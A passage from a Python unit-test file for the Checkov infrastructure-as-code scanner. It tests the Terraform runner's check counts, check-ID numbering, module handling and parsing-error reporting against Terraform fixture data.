current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        # should load checks recursively\n\n        tf_dir_path = current_dir + \"/resources/extra_check_test\"\n        extra_checks_dir_path = [current_dir + \"/extra_checks\"]\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=tf_dir_path, external_checks_dir=extra_checks_dir_path)\n        report_json = report.get_json()\n        for check in resource_registry.checks[\"aws_s3_bucket\"]:\n            if check.id in (\"CUSTOM_AWS_1\", \"CUSTOM_AWS_2\"):\n                resource_registry.checks[\"aws_s3_bucket\"].remove(check)\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n\n        passing_custom = 0\n        failed_custom = 0\n        for record in report.passed_checks:\n            if record.check_id in (\"CUSTOM_AWS_1\", \"CUSTOM_AWS_2\"):\n                passing_custom = passing_custom + 1\n        for record in report.failed_checks:\n            if record.check_id in (\"CUSTOM_AWS_1\", \"CUSTOM_AWS_2\"):\n                failed_custom = failed_custom + 1\n\n        self.assertEqual(2, passing_custom)\n        self.assertEqual(4, failed_custom)\n        # Remove external checks from registry.\n        runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if \"CUSTOM\" not in check.id]\n\n    def test_runner_extra_yaml_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        tf_dir_path = current_dir + \"/resources/extra_check_test\"\n        extra_checks_dir_path = [current_dir + \"/extra_yaml_checks\"]\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=tf_dir_path, external_checks_dir=extra_checks_dir_path)\n        report_json = report.get_json()\n        for check in resource_registry.checks[\"aws_s3_bucket\"]:\n            if check.id in (\"CUSTOM_AWS_1\", \"CUSTOM_AWS_2\"):\n                resource_registry.checks[\"aws_s3_bucket\"].remove(check)\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n\n        passing_custom = 0\n        failed_custom = 0\n        for record in report.passed_checks:\n            if record.check_id == \"CKV2_CUSTOM_1\":\n                passing_custom = passing_custom + 1\n        for record in report.failed_checks:\n            if record.check_id == \"CKV2_CUSTOM_1\":\n                failed_custom = failed_custom + 1\n\n        self.assertEqual(passing_custom, 0)\n        self.assertEqual(failed_custom, 3)\n\n        graph_record = next(record for record in report.failed_checks if record.check_id == \"CKV2_CUSTOM_1\")\n        self.assertEqual(graph_record.guideline, \"https://docs.bridgecrew.io/docs/ckv2_custom_1\")\n\n        # Remove external checks from registry.\n        runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if \"CUSTOM\" not in check.id]\n\n    def test_runner_provider_yaml_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        tf_dir_path = current_dir + \"/resources/provider_blocks\"\n        extra_checks_dir_path = [current_dir + \"/extra_yaml_checks\"]\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=tf_dir_path, external_checks_dir=extra_checks_dir_path,\n                            runner_filter=RunnerFilter(checks=['CUSTOM_GRAPH_AWS_3', 'CUSTOM_GRAPH_AWS_4']))\n        report_json = report.get_json()\n\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n\n        self.assertEqual(7, len(report.passed_checks))\n        self.assertEqual(3, len(report.failed_checks))\n\n        # Remove external checks from registry.\n        runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if\n                                           \"CUSTOM\" not in check.id]\n\n    def test_runner_yaml_module_check(self):\n        # given\n        current_dir = Path(__file__).parent\n        tf_dir_path = current_dir / \"resources/module_check\"\n        extra_checks_dir_path = current_dir / \"extra_yaml_checks\"\n        runner = Runner(db_connector=self.db_connector())\n\n        # when\n        report = runner.run(\n            root_folder=str(tf_dir_path),\n            external_checks_dir=[str(extra_checks_dir_path)],\n            runner_filter=RunnerFilter(checks=[\"CUSTOM_GRAPH_AWS_2\"])\n        )\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\"pass\"}\n        failing_resources = {\"fail\"}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n        # Remove external checks from registry.\n        runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if \"CUSTOM\" not in check.id]\n\n    def test_runner_specific_file(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        passing_tf_file_path = current_dir + \"/resources/valid_tf_only_passed_checks/example.tf\"\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[passing_tf_file_path])\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        # self.assertEqual(report.get_exit_code(), 0)\n        summary = report.get_summary()\n        self.assertGreaterEqual(summary['passed'], 1)\n        self.assertEqual(6, summary['failed'])\n        self.assertEqual(0, summary[\"parsing_errors\"])\n\n    def test_check_ids_dont_collide(self):\n        runner = Runner(db_connector=self.db_connector())\n        unique_checks = {}\n        bad_checks = []\n        for registry in list(runner.block_type_registries.values()):\n            checks = [check for entity_type in list(registry.checks.values()) for check in entity_type]\n            for check in checks:\n                if check.id not in unique_checks:\n                    unique_checks[check.id] = check\n                elif check != unique_checks[check.id]:\n                    # A single check can have multiple resource blocks it checks, which means it will show up multiple times in the registry\n                    bad_checks.append(f'{check.id}: {check.name}')\n                    print(f'{check.id}: {check.name}')\n        self.assertEqual(len(bad_checks), 0, f'Bad checks: {bad_checks}')\n\n    def test_no_missing_ids(self):\n        runner = Runner(db_connector=self.db_connector())\n        unique_checks = set()\n        graph_checks = []\n\n        # python checks\n        for registry in list(runner.block_type_registries.values()):\n            checks = [check for entity_type in list(registry.checks.values()) for check in entity_type]\n            for check in checks:\n                unique_checks.add(check.id)\n\n        # graph checks\n        graph_registry = get_graph_checks_registry(\"terraform\")\n        graph_registry.load_checks()\n        for check in graph_registry.checks:\n            if check.id.startswith(\"CKV_\"):\n                unique_checks.add(check.id)\n            else:\n                graph_checks.append(check)\n\n        aws_checks = sorted(\n            list(filter(lambda check_id: check_id.startswith(\"CKV_AWS_\"), unique_checks)),\n            reverse=True,\n            key=lambda s: int(s.split('_')[-1])\n        )\n        for i in range(1, len(aws_checks) + 8):\n            if f'CKV_AWS_{i}' == 'CKV_AWS_4':\n                # CKV_AWS_4 was deleted due to https://github.com/bridgecrewio/checkov/issues/371\n                continue\n            if f'CKV_AWS_{i}' in ('CKV_AWS_132', 'CKV_AWS_125', 'CKV_AWS_151', 'CKV_AWS_128'):\n                # These checks were removed because they were duplicates\n                continue\n            if f'CKV_AWS_{i}' in 'CKV_AWS_95':\n                # CKV_AWS_95 is currently implemented just on cfn - actually is CKV_AWS_76\n                continue\n            if f'CKV_AWS_{i}' == 'CKV_AWS_52':\n                # CKV_AWS_52 was deleted since it cannot be toggled in terraform.\n                continue\n            if f'CKV_AWS_{i}' == 'CKV_AWS_299':\n                # CKV_AWS_299 was deleted because AWS doesn't support it and seems to be a bug in Terraform.\n                # https://github.com/hashicorp/terraform-provider-aws/issues/31821\n                continue\n            if f'CKV_AWS_{i}' == 'CKV_AWS_188':\n                # CKV_AWS_188 was deleted because it duplicated CKV_AWS_142\n                continue\n            if f'CKV_AWS_{i}' == 'CKV_AWS_384':\n                # CKV_AWS_384 is CFN only\n                continue\n            self.assertIn(f'CKV_AWS_{i}', aws_checks, msg=f'The new AWS violation should have the ID \"CKV_AWS_{i}\"')\n\n        gcp_checks = sorted(\n            list(filter(lambda check_id: '_GCP_' in check_id, unique_checks)),\n            reverse=True,\n            key=lambda s: int(s.split('_')[-1])\n        )\n        for i in range(1, len(gcp_checks) + 2):\n            if f'CKV_GCP_{i}' == 'CKV_GCP_5':\n                # CKV_GCP_5 is no longer a valid platform check\n                continue\n            if f'CKV_GCP_{i}' == 'CKV_GCP_19':\n                # CKV_GCP_19 involved a configuration which was deprecated by GCP\n                continue\n            if f'CKV_GCP_{i}' == 'CKV_GCP_67':\n                # CKV_GCP_67 is not deployable anymore https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster#protect_node_metadata\n                continue\n\n            self.assertIn(f'CKV_GCP_{i}', gcp_checks, msg=f'The new GCP violation should have the ID \"CKV_GCP_{i}\"')\n\n        azure_checks = sorted(\n            list(filter(lambda check_id: '_AZURE_' in check_id, unique_checks)),\n            reverse=True,\n            key=lambda s: int(s.split('_')[-1])\n        )\n        for i in range(1, len(azure_checks) + 4):\n            if f'CKV_AZURE_{i}' == 'CKV_AZURE_46':\n                continue  # this rule has been merged into a v2 graph implementation -> CKV_AZURE_24\n            if f'CKV_AZURE_{i}' == 'CKV_AZURE_51':\n                continue  # https://github.com/bridgecrewio/checkov/pull/983\n            if f\"CKV_AZURE_{i}\" == \"CKV_AZURE_60\":\n                continue  # duplicate of CKV_AZURE_3\n            if f\"CKV_AZURE_{i}\" == \"CKV_AZURE_90\":\n                continue  # duplicate of CKV_AZURE_53\n            if f\"CKV_AZURE_{i}\" == \"CKV_AZURE_243\":\n                continue  # ARM only check, not a Terraform check\n\n            self.assertIn(f'CKV_AZURE_{i}', azure_checks,\n                          msg=f'The new Azure violation should have the ID \"CKV_AZURE_{i}\"')\n\n        alicloud_checks = sorted(\n            list(filter(lambda check_id: '_ALI_' in check_id, unique_checks)),\n            reverse=True,\n            key=lambda s: int(s.split('_')[-1])\n        )\n        for i in range(1, len(alicloud_checks) + 1):\n            if f\"CKV_ALI_{i}\" == \"CKV_ALI_34\":\n                continue  # duplicate of CKV_ALI_30\n            if f\"CKV_ALI_{i}\" in (\"CKV_ALI_39\", \"CKV_ALI_40\"):\n                continue  # can't find a reference for it\n\n            self.assertIn(f\"CKV_ALI_{i}\", alicloud_checks,\n                          msg=f'The new Alibaba Cloud violation should have the ID \"CKV_ALI_{i}\"')\n\n        # add cloudformation checks to graph checks\n        graph_registry = get_graph_checks_registry(\"cloudformation\")\n        graph_registry.load_checks()\n        graph_checks.extend(list(filter(lambda check: 'CKV2_' in check.id, graph_registry.checks)))\n\n        aws_checks, gcp_checks, azure_checks = [], [], []\n        for check in graph_checks:\n            if '_AWS_' in check.id:\n                aws_checks.append(check.id)\n            elif '_GCP_' in check.id:\n                gcp_checks.append(check.id)\n            elif '_AZURE_' in check.id:\n                azure_checks.append(check.id)\n\n        for check_list in [aws_checks, gcp_checks, azure_checks]:\n            check_list.sort(reverse=True, key=lambda s: int(s.split('_')[-1]))\n\n        for i in range(1, len(aws_checks) + 2):\n            if f'CKV2_AWS_{i}' == 'CKV2_AWS_17':\n                # CKV2_AWS_17 was overly keen and those resources it checks are created by default\n                continue\n            if f'CKV2_AWS_{i}' == 'CKV2_AWS_13':\n                # CKV2_AWS_13 is not supported by AWS\n                continue\n            if f'CKV2_AWS_{i}' == 'CKV2_AWS_24':\n                # Was a test policy\n                continue\n            if f'CKV2_AWS_{i}' == 'CKV2_AWS_25':\n                # Was a test policy\n                continue\n            if f'CKV2_AWS_{i}' == 'CKV2_AWS_26':\n                # Was a test policy\n                continue\n            if f'CKV2_AWS_{i}' == 'CKV2_AWS_67':\n                # Too many edge cases for ways to get a KMS key connected to S3\n                continue\n            if f'CKV2_AWS_{i}' == 'CKV2_AWS_70':\n                # Added as a Python check\n                continue\n            self.assertIn(f'CKV2_AWS_{i}', aws_checks,\n                          msg=f'The new AWS violation should have the ID \"CKV2_AWS_{i}\"')\n        for i in range(1, len(gcp_checks) + 1):\n            self.assertIn(f'CKV2_GCP_{i}', gcp_checks,\n                          msg=f'The new GCP violation should have the ID \"CKV2_GCP_{i}\"')\n        for i in range(1, len(azure_checks) + 1):\n            if f'CKV2_AZURE_{i}' == 'CKV2_AZURE_18':\n                # duplicate of CKV2_AZURE_1\n                continue\n            self.assertIn(f'CKV2_AZURE_{i}', azure_checks,\n                          msg=f'The new Azure violation should have the ID \"CKV2_AZURE_{i}\"')\n\n    def test_provider_uniqueness(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/many_providers\"\n        runner = Runner(db_connector=self.db_connector())\n        result = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(checks='CKV_AWS_41'))\n        self.assertEqual(len(result.passed_checks), 17)\n        self.assertIn('aws.default', map(lambda record: record.resource, result.passed_checks))\n\n        # check if a one line provider is correctly processed\n        provider = next(check for check in result.passed_checks if check.resource == \"aws.one-line\")\n        self.assertIsNotNone(provider.file_line_range)\n\n    def test_entire_resources_folder(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/\"\n        runner = Runner(db_connector=self.db_connector())\n        result = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(\n            checks=['CKV_AWS_21', 'CKV_AWS_42', 'CKV_AWS_62', 'CKV_AWS_53', 'CKV_AWS_18', 'CKV_AWS_61',\n                    'CKV_AWS_144',\n                    'CKV_AWS_145', 'CKV_AWS_115', 'CKV_AWS_116', 'CKV_AWS_117', 'CKV_AWS_6', 'CKV_AWS_168',\n                    'CKV_AWS_170',\n                    'CKV_AWS_171', 'CKV_AWS_172', 'CKV_AWS_37', 'CKV_AWS_38', 'CKV_AWS_39', 'CKV_AWS_107',\n                    'CKV_AWS_109',\n                    'CKV_AWS_110'], framework=['terraform']))\n        self.assertEqual(len(result.passed_checks), 52)\n        self.assertEqual(len(result.failed_checks), 263)\n        self.assertEqual(len(result.skipped_checks), 0)\n\n    def test_modules_folder_with_files_args(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources\"\n        runner = Runner(db_connector=self.db_connector())\n        res = []\n        for (dir_path, dir_names, file_names) in os.walk(valid_dir_path):\n            for file in file_names:\n                res.append(os.path.join(dir_path, file))\n        result = runner.run(files=res, root_folder=None, external_checks_dir=None,\n                            runner_filter=RunnerFilter(\n                                checks=['CKV_AWS_21', 'CKV_AWS_42', 'CKV_AWS_62', 'CKV_AWS_109', 'CKV_AWS_168',\n                                        'CKV_AWS_53', 'CKV_AWS_18', 'CKV_AWS_61', 'CKV_AWS_144', 'CKV_AWS_170',\n                                        'CKV_AWS_145', 'CKV_AWS_115', 'CKV_AWS_116', 'CKV_AWS_117', 'CKV_AWS_6',\n                                        'CKV_AWS_171', 'CKV_AWS_172', 'CKV_AWS_37', 'CKV_AWS_38', 'CKV_AWS_39',\n                                        'CKV_AWS_107', 'CKV_AWS_110'],\n                                framework=['terraform']))\n        self.assertEqual(len(result.passed_checks), 51)\n        self.assertEqual(len(result.failed_checks), 271)\n        self.assertEqual(len(result.skipped_checks), 0)\n\n    def test_terraform_module_checks_are_performed(self):\n        check_name = \"TF_M_1\"\n\n        from checkov.common.models.enums import CheckResult\n        from checkov.terraform.checks.module.base_module_check import BaseModuleCheck\n        from checkov.terraform.checks.module.registry import module_registry\n\n        class ModuleCheck(BaseModuleCheck):\n\n            def __init__(self):\n                name = \"Test check\"\n                id = check_name\n                supported_resources = ['module']\n                categories = []\n                super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n            def scan_module_conf(self, conf):\n                return CheckResult.PASSED\n\n        check = ModuleCheck()\n\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources/valid_tf_only_module_usage\")\n        runner = Runner(db_connector=self.db_connector())\n        result = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(checks=check_name))\n\n        # unregister check\n        for resource in check.supported_resources:\n            module_registry.checks[resource].remove(check)\n\n        self.assertEqual(len(result.passed_checks), 1)\n        self.assertIn('some-module', map(lambda record: record.resource, result.passed_checks))\n\n    def test_terraform_module_checks_are_performed_even_if_supported_resources_is_omitted(self):\n        check_name = \"TF_M_2\"\n\n        from checkov.common.models.enums import CheckResult\n        from checkov.terraform.checks.module.base_module_check import BaseModuleCheck\n        from checkov.terraform.checks.module.registry import module_registry\n\n        class ModuleCheck(BaseModuleCheck):\n\n            def __init__(self):\n                name = \"Test check\"\n                id = check_name\n                categories = []\n                super().__init__(name=name, id=id, categories=categories)\n\n            def scan_module_conf(self, conf):\n                return CheckResult.PASSED\n\n        check = ModuleCheck()\n\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources/valid_tf_only_module_usage\")\n        runner = Runner(db_connector=self.db_connector())\n        result = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(checks=check_name))\n\n        # unregister check\n        for resource in check.supported_resources:\n            module_registry.checks[resource].remove(check)\n\n        self.assertEqual(len(result.passed_checks), 1)\n        self.assertIn('some-module', map(lambda record: record.resource, result.passed_checks))\n\n    @mock.patch.dict(os.environ, {\"TF_SPLIT_GRAPH\": \"False\"})\n    @mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_FOREACH_HANDLING\": \"False\"})\n    def test_terraform_multiple_module_versions(self):\n        # given\n        root_dir = Path(__file__).parent / \"resources/multiple_module_versions\"\n\n        # when\n        result = Runner(db_connector=self.db_connector()).run(\n            root_folder=str(root_dir),\n            runner_filter=RunnerFilter(\n                checks=[\"CKV_AWS_88\"],\n                framework=\"terraform\",\n                download_external_modules=True\n            )\n        )\n\n        # then\n        summary = result.get_summary()\n        passed_resources = [check.resource for check in result.passed_checks]\n        failed_resources = [check.resource for check in result.failed_checks]\n\n        self.assertEqual(4, summary[\"passed\"])\n        self.assertEqual(4, summary[\"failed\"])\n        self.assertEqual(0, summary['skipped'])\n        self.assertEqual(0, summary['parsing_errors'])\n\n        expected_passed_resources = [\n            \"module.ec2_private_latest.aws_instance.this\",\n            \"module.ec2_private_latest_2.aws_instance.this\",\n            \"module.ec2_private_old.aws_instance.this\",\n            \"module.ec2_private_old_2.aws_instance.this\",\n        ]\n        expected_failed_resources = [\n            \"module.ec2_public_latest.aws_instance.this\",\n            \"module.ec2_public_latest_2.aws_instance.this\",\n            \"module.ec2_public_old.aws_instance.this\",\n            \"module.ec2_public_old_2.aws_instance.this\",\n        ]\n        self.assertCountEqual(expected_passed_resources, passed_resources)\n        self.assertCountEqual(expected_failed_resources, failed_resources)\n\n        # cleanup\n        if (root_dir / EXTERNAL_MODULES_DOWNLOAD_PATH).exists():\n            shutil.rmtree(root_dir / EXTERNAL_MODULES_DOWNLOAD_PATH)\n\n    @mock.patch.object(env_vars_config, \"RAW_TF_IN_GRAPH_ENV\", \"True\")\n    def test_for_each_raw_resource_no_finding(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        dir_path = os.path.join(current_dir, \"resources/tf_raw_resource\")\n\n        runner = Runner(db_connector=self.db_connector())\n        result = runner.run(root_folder=dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"terraform\"], checks=['CKV2_AWS_62', 'CKV_AWS_93']))\n        # we test here both graph checks and resource checks\n        self.assertEqual(len(result.failed_checks), 2)\n        self.assertEqual(len(result.passed_checks), 2)\n\n    def test_parser_error_handled_for_directory_target(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        invalid_dir_path = os.path.join(current_dir, \"resources/invalid_terraform_syntax\")\n        file_names = ['bad_tf_1.tf', 'bad_tf_2.tf']\n        invalid_dir_abs_path = os.path.abspath(invalid_dir_path)\n\n        runner = Runner(db_connector=self.db_connector())\n        result = runner.run(root_folder=invalid_dir_path, external_checks_dir=None)\n\n        self.assertEqual(len(result.parsing_errors), 2)\n        for file in file_names:\n            self.assertIn(os.path.join(invalid_dir_abs_path, file), result.parsing_errors)\n\n    def test_parser_error_handled_for_file_target(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        invalid_dir_path = os.path.join(current_dir, \"resources/invalid_terraform_syntax\")\n        file_names = ['bad_tf_1.tf', 'bad_tf_2.tf']\n        invalid_dir_abs_path = os.path.abspath(invalid_dir_path)\n\n        runner = Runner(db_connector=self.db_connector())\n        result = runner.run(files=[os.path.join(invalid_dir_path, file) for file in file_names], root_folder=None,\n                            external_checks_dir=None)\n\n        self.assertEqual(len(result.parsing_errors), 2)\n        for file in file_names:\n            self.assertIn(os.path.join(invalid_dir_abs_path, file), result.parsing_errors)\n\n    def test_typed_terraform_resource_checks_are_performed(self):\n        test_self = self\n        check_name = \"TF_M_2\"\n        test_dir = \"resources/valid_tf_only_resource_usage\"\n\n        from checkov.common.models.enums import CheckResult\n        from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n        from checkov.terraform.checks.resource.registry import resource_registry\n\n        class ResourceCheck(BaseResourceCheck):\n\n            def __init__(self):\n                name = \"Test check\"\n                id = check_name\n                supported_resources = ['*']\n                categories = []\n                super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n            def scan_entity_conf(self, conf, entity_type):\n                if entity_type == 'type_1':\n                    test_self.assertIn('a', conf)\n                    test_self.assertEqual([1], conf['a'])\n                elif entity_type == 'type_2':\n                    test_self.assertIn('b', conf)\n                    test_self.assertEqual([2], conf['b'])\n                else:\n                    test_self.fail(f'Unexpected entity_type: {entity_type}. Expected type_1 or type_2, because no '\n                                   f'other resources are defined in the files inside of {test_dir}.')\n                return CheckResult.PASSED\n\n            def scan_resource_conf(self, conf):\n                pass\n\n        check = ResourceCheck()\n\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, test_dir)\n        runner = Runner(db_connector=self.db_connector())\n        result = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(checks=check_name))\n\n        # unregister check\n        for resource in check.supported_resources:\n            resource_registry.wildcard_checks[resource].remove(check)\n\n        self.assertEqual(len(result.passed_checks), 2)\n\n    def test_external_definitions_context(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        tf_dir_path = current_dir + \"/resources/valid_tf_only_passed_checks\"\n        external_definitions_context = {\n            f\"{current_dir}/resources/valid_tf_only_passed_checks/example.tf\": {\n                \"resource\": {\n                    \"aws_s3_bucket\": {\n                        \"foo-bucket\": {\n                            \"start_line\": 1,\n                            \"end_line\": 34,\n                            \"code_lines\": [\n                                (1, 'resource \"aws_s3_bucket\" \"foo-bucket\" {\\n'),\n                                (2, \"  region        = var.region\\n\"),\n                                (3, \"  bucket        = local.bucket_name\\n\"),\n                                (4, \"  force_destroy = true\\n\"),\n                                (5, \"  tags = {\\n\"),\n                                (6, '    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\\n'),\n                                (7, \"  }\\n\"),\n                                (8, \"  versioning {\\n\"),\n                                (9, \"    enabled = true\\n\"),\n                                (10, \"    mfa_delete = true\\n\"),\n                                (11, \"  }\\n\"),\n                                (12, \"  logging {\\n\"),\n                                (13, '    target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\\n'),\n                                (14, '    target_prefix = \"log/\"\\n'),\n                                (15, \"  }\\n\"),\n                                (16, \"  server_side_encryption_configuration {\\n\"),\n                                (17, \"    rule {\\n\"),\n                                (18, \"      apply_server_side_encryption_by_default {\\n\"),\n                                (19, '        kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\\n'),\n                                (20, '        sse_algorithm     = \"aws:kms\"\\n'),\n                                (21, \"      }\\n\"),\n                                (22, \"    }\\n\"),\n                                (23, \"  }\\n\"),\n                                (24, '  acl           = \"private\"\\n'),\n                                (25, '  tags = \"${merge\\n'),\n                                (26, \"    (\\n\"),\n                                (27, \"      var.common_tags,\\n\"),\n                                (28, \"      map(\\n\"),\n                                (29, '        \"name\", \"VM Virtual Machine\",\\n'),\n                                (30, '        \"group\", \"foo\"\\n'),\n                                (31, \"      )\\n\"),\n                                (32, \"    )\\n\"),\n                                (33, '  }\"\\n'),\n                                (34, \"}\\n\"),\n                            ],\n                            \"skipped_checks\": [],\n                        }\n                    },\n                    \"null_resource\": {\n                        \"example\": {\n                            \"start_line\": 36,\n                            \"end_line\": 46,\n                            \"code_lines\": [\n                                (36, 'resource \"null_resource\" \"example\" {\\n'),\n                                (37, '  tags = \"${merge\\n'),\n                                (38, \"(\\n\"),\n                                (39, \"var.common_tags,\\n\"),\n                                (40, \"map(\\n\"),\n                                (41, '\"name\", \"VM Base Post Provisioning Library\",\\n'),\n                                (42, '\"group\", \"aut\",\\n'),\n                                (43, '\"dependency\", \"${var.input_dependency_value}\")\\n'),\n                                (44, \")\\n\"),\n                                (45, '}\"\\n'),\n                                (46, \"}\\n\"),\n                            ],\n                            \"skipped_checks\": [],\n                        }\n                    },\n                },\n                \"data\": {\n                    \"aws_caller_identity\": {\n                        \"current\": {\"start_line\": 47, \"end_line\": 0, \"code_lines\": [], \"skipped_checks\": []}\n                    }\n                },\n                \"provider\": {\n                    \"kubernetes\": {\n                        \"default\": {\n                            \"start_line\": 49,\n                            \"end_line\": 55,\n                            \"code_lines\": [\n                                (49, 'provider \"kubernetes\" {\\n'),\n                                (50, '  version                = \"1.10.0\"\\n'),\n                                (51, \"  host                   = module.aks_cluster.kube_config.0.host\\n\"),\n                                (\n                                    52,\n                                    \"  client_certificate     = base64decode(module.aks_cluster.kube_config.0.client_certificate)\\n\",\n                                ),\n                                (\n                                    53,\n                                    \"client_key             = base64decode(module.aks_cluster.kube_config.0.client_key)\\n\",\n                                ),\n                                (\n                                    54,\n                                    \"cluster_ca_certificate = base64decode(module.aks_cluster.kube_config.0.cluster_ca_certificate)\\n\",\n                                ),\n                                (55, \"}\\n\"),\n                            ],\n                            \"skipped_checks\": [],\n                        }\n                    }\n                },\n                \"module\": {\n                    \"new_relic\": {\n                        \"start_line\": 57,\n                        \"end_line\": 67,\n                        \"code_lines\": [\n                            (57, 'module \"new_relic\" {\\n'),\n                            (\n                                58,\n                                'source                            = \"s3::https://s3.amazonaws.com/my-artifacts/new-relic-k8s-0.2.5.zip\"\\n',\n                            ),\n                            (59, \"kubernetes_host                   = module.aks_cluster.kube_config.0.host\\n\"),\n                            (\n                                60,\n                                \"kubernetes_client_certificate     = base64decode(module.aks_cluster.kube_config.0.client_certificate)\\n\",\n                            ),\n                            (\n                                61,\n                                \"kubernetes_client_key             = base64decode(module.aks_cluster.kube_config.0.client_key)\\n\",\n                            ),\n                            (\n                                62,\n                                \"kubernetes_cluster_ca_certificate = base64decode(module.aks_cluster.kube_config.0.cluster_ca_certificate)\\n\",\n                            ),\n                            (63, \"cluster_name                      = module.naming_conventions.aks_name\\n\"),\n                            (\n                                64,\n                                'new_relic_license                 = data.vault_generic_secret.new_relic_license.data[\"license\"]\\n',\n                            ),\n                            (\n                                65,\n                                \"cluster_ca_bundle_b64             = module.aks_cluster.kube_config.0.cluster_ca_certificate\\n\",\n                            ),\n                            (66, \"module_depends_on                 = [null_resource.delay_aks_deployments]\\n\"),\n                            (67, \"}\"),\n                        ],\n                        \"skipped_checks\": [],\n                    }\n                },\n            },\n            f\"{current_dir}/resources/valid_tf_only_passed_checks/example_skip_acl.tf\": {\n                \"resource\": {\n                    \"aws_s3_bucket\": {\n                        \"foo-bucket\": {\n                            \"start_line\": 1,\n                            \"end_line\": 26,\n                            \"code_lines\": [\n                                (1, 'resource \"aws_s3_bucket\" \"foo-bucket\" {\\n'),\n                                (2, \"  region        = var.region\\n\"),\n                                (3, \"  bucket        = local.bucket_name\\n\"),\n                                (4, \"  force_destroy = true\\n\"),\n                                (5, \"  #checkov:skip=CKV_AWS_20:The bucket is a public static content host\\n\"),\n                                (6, \"  #bridgecrew:skip=CKV_AWS_52: foo\\n\"),\n                                (7, \"  tags = {\\n\"),\n                                (8, '    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\\n'),\n                                (9, \"  }\\n\"),\n                                (10, \"  versioning {\\n\"),\n                                (11, \"    enabled = true\\n\"),\n                                (12, \"  }\\n\"),\n                                (13, \"  logging {\\n\"),\n                                (14, '    target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\\n'),\n                                (15, '    target_prefix = \"log/\"\\n'),\n                                (16, \"  }\\n\"),\n                                (17, \"  server_side_encryption_configuration {\\n\"),\n                                (18, \"    rule {\\n\"),\n                                (19, \"      apply_server_side_encryption_by_default {\\n\"),\n                                (20, '        kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\\n'),\n                                (21, '        sse_algorithm     = \"aws:kms\"\\n'),\n                                (22, \"      }\\n\"),\n                                (23, \"    }\\n\"),\n                                (24, \"  }\\n\"),\n                                (25, '  acl           = \"public-read\"\\n'),\n                                (26, \"}\\n\"),\n                            ],\n                            \"skipped_checks\": [\n                                {\"id\": \"CKV_AWS_20\", \"suppress_comment\": \"The bucket is a public static content host\"},\n                                {\"id\": \"CKV_AWS_52\", \"suppress_comment\": \" foo\"},\n                            ],\n                        }\n                    }\n                },\n                \"data\": {\n                    \"aws_caller_identity\": {\n                        \"current\": {\"start_line\": 27, \"end_line\": 0, \"code_lines\": [], \"skipped_checks\": []}\n                    }\n                },\n            },\n        }\n\n        runner = Runner(db_connector=self.db_connector())\n        parser = TFParser()\n        tf_definitions = parser.parse_directory(tf_dir_path)\n        runner.set_external_data(tf_definitions, external_definitions_context, breadcrumbs={})  # type: ignore\n        report = Report('terraform')\n        runner.check_tf_definition(root_folder=tf_dir_path, report=report, runner_filter=RunnerFilter())\n        self.assertGreaterEqual(len(report.passed_checks), 1)\n\n    def test_failure_in_resolved_module(self):\n        current_dir = 